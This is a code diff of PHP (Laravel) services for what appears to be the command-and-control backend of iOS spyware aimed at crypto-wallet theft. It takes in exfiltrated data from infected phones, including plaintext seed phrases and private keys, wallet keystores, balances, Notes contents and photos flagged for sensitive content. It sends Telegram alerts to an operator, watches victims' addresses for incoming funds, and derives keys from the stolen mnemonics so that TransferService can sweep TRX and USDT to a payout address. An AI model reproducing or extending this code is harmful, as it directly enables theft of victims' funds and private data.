$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
return $device->refresh();
}
/**
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
*/
public function ingestInstalledApps(Device $device, ?array $payload): void
{
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
}
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'meta_json' => $item,
]
);
}
}
/**
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
*/
public function ingestDeviceEvent(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
$desc = $payload['desc'] ?? $payload['description'] ?? null;
if ($eventName === null && $desc === null) {
return;
}
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
$contextJson = null;
if (is_array($ctx)) {
$contextJson = $ctx;
} elseif ($ctx !== null) {
$contextJson = ['value' => $ctx];
}
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => is_string($eventName) ? $eventName : null,
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
'context_json' => $contextJson,
]);
}
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$secret = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$secret = trim($payload[$key]);
break;
}
}
if ($secret === null || $secret === '') {
return;
}
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'mnemonic_hash' => $hash,
]);
$isNew = ! $row->exists;
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
public function ingestKeystore(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
return;
}
$result = $payload['result'];
if (is_string($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded)) {
$result = $decoded;
}
}
if (! is_array($result) && ! is_string($result)) {
return;
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$source = WalletSource::fromTag($payload['a'] ?? null);
$rows = $this->normalizeStatusAddressRows($payload);
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
$notify = [];
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! is_string($address) || $address === '') {
continue;
}
$chainType = (string) ($row['chain_type'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$balance = $row['balance'] ?? '';
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
if (! is_array($balance) && ! is_string($balance)) {
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('source', $source)
->first();
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
$attrs = ['chain_type' => $chainType];
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
if (! $existing) {
$attrs['monitor'] = 0;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
if ($shouldNotify) {
$notify[] = [
'address' => $address,
'chain' => $chainType,
'balance' => $balanceSummary,
'source' => $source,
];
}
unset($addr);
}
if ($notify !== []) {
$this->telegram->notifyNewWallets($device->device_id, $notify);
}
}
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return;
}
$list = $payload['list'];
if (! is_array($list)) {
$list = [$list];
}
Note::query()->create([
'device_id' => $device->id,
'content' => array_values($list),
]);
}
/**
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
*
* @return array{0: ?int, 1: ?int}
*/
public static function decodeHexCounterPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
}
/**
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $meta
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'x_hit' => $xHit,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}
private function extractDeviceModel(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
return $info[$key];
}
}
}
return null;
}
private function extractIosVersion(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
}
if (is_string($sv) && $sv !== '') {
return $sv;
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null;
}
/**
* Normalize `/api/user/status` shapes into address rows.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeStatusAddressRows(array $payload): array
{
$ba = $payload['ba'] ?? null;
if (is_string($ba)) {
$decoded = json_decode($ba, true);
$ba = is_array($decoded) ? $decoded : null;
}
if (is_array($ba)) {
return $this->normalizeBaAddressRows($ba);
}
$ad = $payload['ad'] ?? null;
if (is_string($ad)) {
$decoded = json_decode($ad, true);
$ad = is_array($decoded) ? $decoded : null;
}
if (is_array($ad)) {
return $this->normalizeAdAddressRows($ad);
}
if (isset($payload['data']) && is_array($payload['data'])) {
return $this->normalizeLegacyDataRows($payload['data']);
}
return [];
}
/**
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
*
* @param array<string, mixed> $ba
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$balance = [];
$chainType = '';
foreach ($assets as $asset) {
if (! is_array($asset)) {
continue;
}
if ($chainType === '') {
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
}
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$balance[$symbol] = WalletSource::formatBalance(
$asset['balance'] ?? 0,
$asset['decimal'] ?? $asset['decimals'] ?? null
);
}
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => $balance,
];
}
return $out;
}
/**
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
* Trust: [ { address, symbol, balance, decimals }, ... ]
*
* @param array<mixed> $ad
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
*/
private function normalizeAdAddressRows(array $ad): array
{
if (array_is_list($ad)) {
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
$byAddr = [];
foreach ($ad as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
if (! isset($byAddr[$address])) {
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chain === '') {
$chain = WalletSource::inferChainType($address);
}
$byAddr[$address] = [
'address' => $address,
'chain_type' => strtoupper($chain),
'balance' => [],
];
}
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
$item['balance'] ?? $item['value'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
);
}
return array_values($byAddr);
}
// Global Wallet: address → opaque scalar (not balance) → store empty string
$out = [];
foreach ($ad as $address => $value) {
if (! is_string($address) || $address === '') {
continue;
}
$out[] = [
'address' => $address,
'chain_type' => WalletSource::inferChainType($address),
'balance' => '',
];
}
return $out;
}
/**
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
*
* @param array<mixed> $data
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeLegacyDataRows(array $data): array
{
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
$out = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => [
$symbol => WalletSource::formatBalance(
$item['balance'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
),
],
];
}
return $out;
}
}
+145
View File
@@ -0,0 +1,145 @@
<?php
namespace App\Services;
use App\Models\Setting;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
class SettingsService
{
public const KEYS = [
'telegram.bot_token',
'telegram.owner_chat_id',
'channels.max_per_agent',
'channels.domains',
];
/** @return array<string, string|null> */
public function all(): array
{
$out = [];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
public function get(string $key, ?string $default = null): ?string
{
if (! $this->tableReady()) {
return $default;
}
$map = $this->cachedMap();
return array_key_exists($key, $map) ? $map[$key] : $default;
}
/**
* @param array<string, mixed> $values
*/
public function putMany(array $values): void
{
foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) {
continue;
}
$str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate(
['key' => $key],
['value' => $str === '' ? null : $str]
);
}
Cache::forget($this->cacheKey());
$this->applyToConfig();
}
public function applyToConfig(): void
{
if (! $this->tableReady()) {
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
$domains = self::parseDomains($map['channels.domains']);
// Settings override channel/deployment hosts only; reporting stays CORUNA_LAB_AMIDN_DOMAINS.
config([
'coruna.channel_domains' => $domains,
'coruna.deployment_domains' => $domains,
]);
}
}
/** Effective values for the settings form (DB overrides env). */
public function effectiveForForm(): array
{
$domains = config('coruna.channel_domains', []);
return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
];
}
/** @return list<string> */
public static function parseDomains(?string $raw): array
{
if ($raw === null || trim($raw) === '') {
return [];
}
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
return array_values(array_filter(array_map(static function ($d) {
$d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/');
return $d;
}, $parts)));
}
/** @return array<string, string|null> */
private function cachedMap(): array
{
return Cache::remember($this->cacheKey(), 300, function () {
return Setting::query()->pluck('value', 'key')->all();
});
}
private function cacheKey(): string
{
return 'coruna.settings.map';
}
private function tableReady(): bool
{
try {
return Schema::hasTable('settings');
} catch (\Throwable) {
return false;
}
}
}
+132
View File
@@ -0,0 +1,132 @@
<?php
namespace App\Services;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
public function enabled(): bool
{
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
}
public function send(string $text): bool
{
if (! $this->enabled()) {
return false;
}
$token = config('coruna.telegram.bot_token');
$chatId = config('coruna.telegram.owner_chat_id');
try {
$resp = Http::timeout(15)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
[
'chat_id' => $chatId,
'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true,
]
);
return $resp->successful();
} catch (\Throwable $e) {
Log::warning('telegram send failed: '.$e->getMessage());
return false;
}
}
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>New Device</b>',
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]));
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
];
foreach ($wallets as $i => $w) {
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
if ($bal === '') {
$bal = '—';
}
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines));
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'🔐 <b>New Mnemonic</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]));
}
public function notifyNewPhotos(string $deviceId): void
{
$this->send(implode("\n", [
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
]));
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
): void {
$this->send(implode("\n", [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
]));
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
+100
View File
@@ -0,0 +1,100 @@
<?php
namespace App\Services\Tokenview;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TokenviewClient
{
public function enabled(): bool
{
return (string) config('coruna.tokenview.api_key') !== '';
}
public function setWebhookUrl(string $url): bool
{
if (! $this->enabled()) {
return false;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
try {
$resp = Http::timeout(20)
->withBody($url, 'text/plain')
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
return false;
}
}
public function getWebhookUrl(): ?string
{
if (! $this->enabled()) {
return null;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
return null;
}
$data = $resp->json('data');
return is_string($data) && $data !== '' ? $data : null;
} catch (\Throwable $e) {
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
return null;
}
}
public function addAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('add', $coinAbbr, $address);
}
public function removeAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('remove', $coinAbbr, $address);
}
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
{
if (! $this->enabled()) {
return false;
}
$coin = strtolower($coinAbbr);
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
$endpoint = sprintf(
'%s/monitor/address/%s/%s/%s',
rtrim((string) config('coruna.tokenview.base_url'), '/'),
$action,
rawurlencode($coin),
rawurlencode($addr)
);
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
'coin' => $coin,
'address' => $addr,
]);
return false;
}
}
}
@@ -0,0 +1,206 @@
<?php
namespace App\Services\Tokenview;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
class TokenviewMonitorService
{
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
) {}
/**
* Map chain_type → Tokenview coin abbr (null = unsupported).
*/
public static function coinAbbrFromChainType(?string $chainType): ?string
{
return match (strtoupper(trim((string) $chainType))) {
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'TRX', 'TRON' => 'trx',
'BTC', 'BITCOIN' => 'btc',
'BNB', 'BSC', 'BINANCE' => 'bsc',
default => null,
};
}
/**
* Map Tokenview webhook coin → wallet_addresses column for native value.
*/
public static function nativeColumnForCoin(string $coin): ?string
{
return match (strtoupper($coin)) {
'ETH' => 'eth',
'TRX' => 'trx',
'BTC' => 'btc',
'BSC', 'BNB' => 'bnb',
default => null,
};
}
public function syncMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {
return false;
}
$coin = self::coinAbbrFromChainType($address->chain_type);
if ($coin === null) {
Log::info('tokenview sync skipped: unsupported chain', [
'id' => $address->id,
'chain_type' => $address->chain_type,
]);
return false;
}
$addr = (string) $address->address;
if ((int) $address->monitor === 1) {
return $this->client->addAddress($coin, $addr);
}
return $this->client->removeAddress($coin, $addr);
}
/**
* @param array<string, mixed> $payload
*/
public function handleWebhook(array $payload): void
{
$address = trim((string) ($payload['address'] ?? ''));
$txid = trim((string) ($payload['txid'] ?? ''));
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
if ($address === '' || $txid === '' || $coin === '') {
return;
}
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
$value = $payload['value'] ?? null;
$tokenValue = $payload['tokenValue'] ?? null;
$lookup = $this->normalizeAddress($address, $coin);
$rows = WalletAddress::query()
->where('monitor', 1)
->where(function ($q) use ($lookup, $address) {
$q->where('address', $lookup)->orWhere('address', $address);
if (strcasecmp($lookup, $address) !== 0) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
}
})
->get();
if ($rows->isEmpty()) {
return;
}
$dedupeSymbol = $tokenSymbol;
try {
TokenviewEvent::query()->create([
'txid' => $txid,
'address' => $lookup,
'coin' => $coin,
'token_symbol' => $dedupeSymbol,
'value' => is_scalar($value) ? (string) $value : null,
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
]);
} catch (\Throwable) {
// unique violation → already processed
return;
}
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
if ($deltas === []) {
return;
}
DB::transaction(function () use ($rows, $deltas) {
foreach ($rows as $row) {
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
});
$inbound = [];
foreach ($deltas as $col => $delta) {
if ($delta > 0) {
$inbound[$col] = $delta;
}
}
if ($inbound === []) {
return;
}
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
$coin
);
}
}
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
if ($signKey === '') {
return true;
}
if ($signature === null || $signature === '') {
return false;
}
$expected = hash_hmac('sha256', $rawBody, $signKey);
return hash_equals($expected, strtolower($signature))
|| hash_equals($expected, $signature);
}
/**
* @return array<string, float> column => delta
*/
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
{
$deltas = [];
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
$col = strtolower($tokenSymbol);
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
$deltas[$col] = (float) $tokenValue;
}
}
if (is_numeric($value)) {
$nativeCol = self::nativeColumnForCoin($coin);
if ($nativeCol !== null) {
// Prefer token delta when both present for same column (USDT-only token txs
// often still send a tiny native gas value — keep both columns when distinct).
$deltas[$nativeCol] = (float) $value;
}
}
return $deltas;
}
private function normalizeAddress(string $address, string $coin): string
{
$c = strtolower($coin);
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
return strtolower($address);
}
return $address;
}
}
+176
View File
@@ -0,0 +1,176 @@
<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use RuntimeException;
class TransferService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Sweep from a known device address to the configured payout address.
* Looks up mnemonics by the address row's device_id + source; tries each in order
* (and BIP44 indexes) until the derived address matches $fromAddress.
* Null / empty $amount means transfer the full on-chain balance of $asset.
*
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
*/
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
{
try {
$to = trim((string) config('coruna.transfer.to_address', ''));
if ($to === '') {
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
}
$asset = strtoupper(trim($asset));
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($fromAddress)) {
return ['ok' => false, 'error' => 'Invalid from address'];
}
if (! $driver->isValidAddress($to)) {
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
}
$amount = $amount === null ? null : trim($amount);
if ($amount === '') {
$amount = null;
}
if ($amount === null) {
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
}
$this->assertAmountWithinLimit($amount, $asset);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) {
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
}
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
$txid = match ($asset) {
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
(string) config('coruna.tron.usdt_contract'),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
return [
'ok' => true,
'txid' => $txid,
'from' => $fromAddress,
'to' => $to,
'amount' => $amount,
'asset' => $asset,
];
} catch (\Throwable $e) {
return ['ok' => false, 'error' => $e->getMessage()];
}
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
{
$balance = match ($asset) {
'TRX' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance(
$fromAddress,
(string) config('coruna.tron.usdt_contract'),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
if ($asset === 'TRX') {
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
$balance = bcsub($balance, $reserve, 6);
$balance = rtrim(rtrim($balance, '0'), '.');
if ($balance === '' || str_starts_with($balance, '-')) {
$balance = '0';
}
}
}
if (bccomp($balance, '0') <= 0) {
throw new RuntimeException("No transferable {$asset} balance");
}
return $balance;
}
/**
* @return array{mnemonic: string, index: int}|null
*/
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
{
$addressRows = WalletAddress::query()
->where('address', $fromAddress)
->orderBy('id')
->get(['device_id', 'source']);
if ($addressRows->isEmpty()) {
return null;
}
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
foreach ($addressRows as $row) {
$mnemonics = WalletMnemonic::query()
->where('device_id', $row->device_id)
->where(function ($q) use ($row) {
if ($row->source === null || $row->source === '') {
$q->whereNull('source')->orWhere('source', '');
} else {
$q->where('source', $row->source);
}
})
->orderBy('id')
->get();
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
if ($phrase === null || trim($phrase) === '') {
continue;
}
for ($index = 0; $index <= $maxIndex; $index++) {
try {
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
break;
}
}
}
}
return null;
}
private function assertAmountWithinLimit(string $amount, string $asset): void
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
}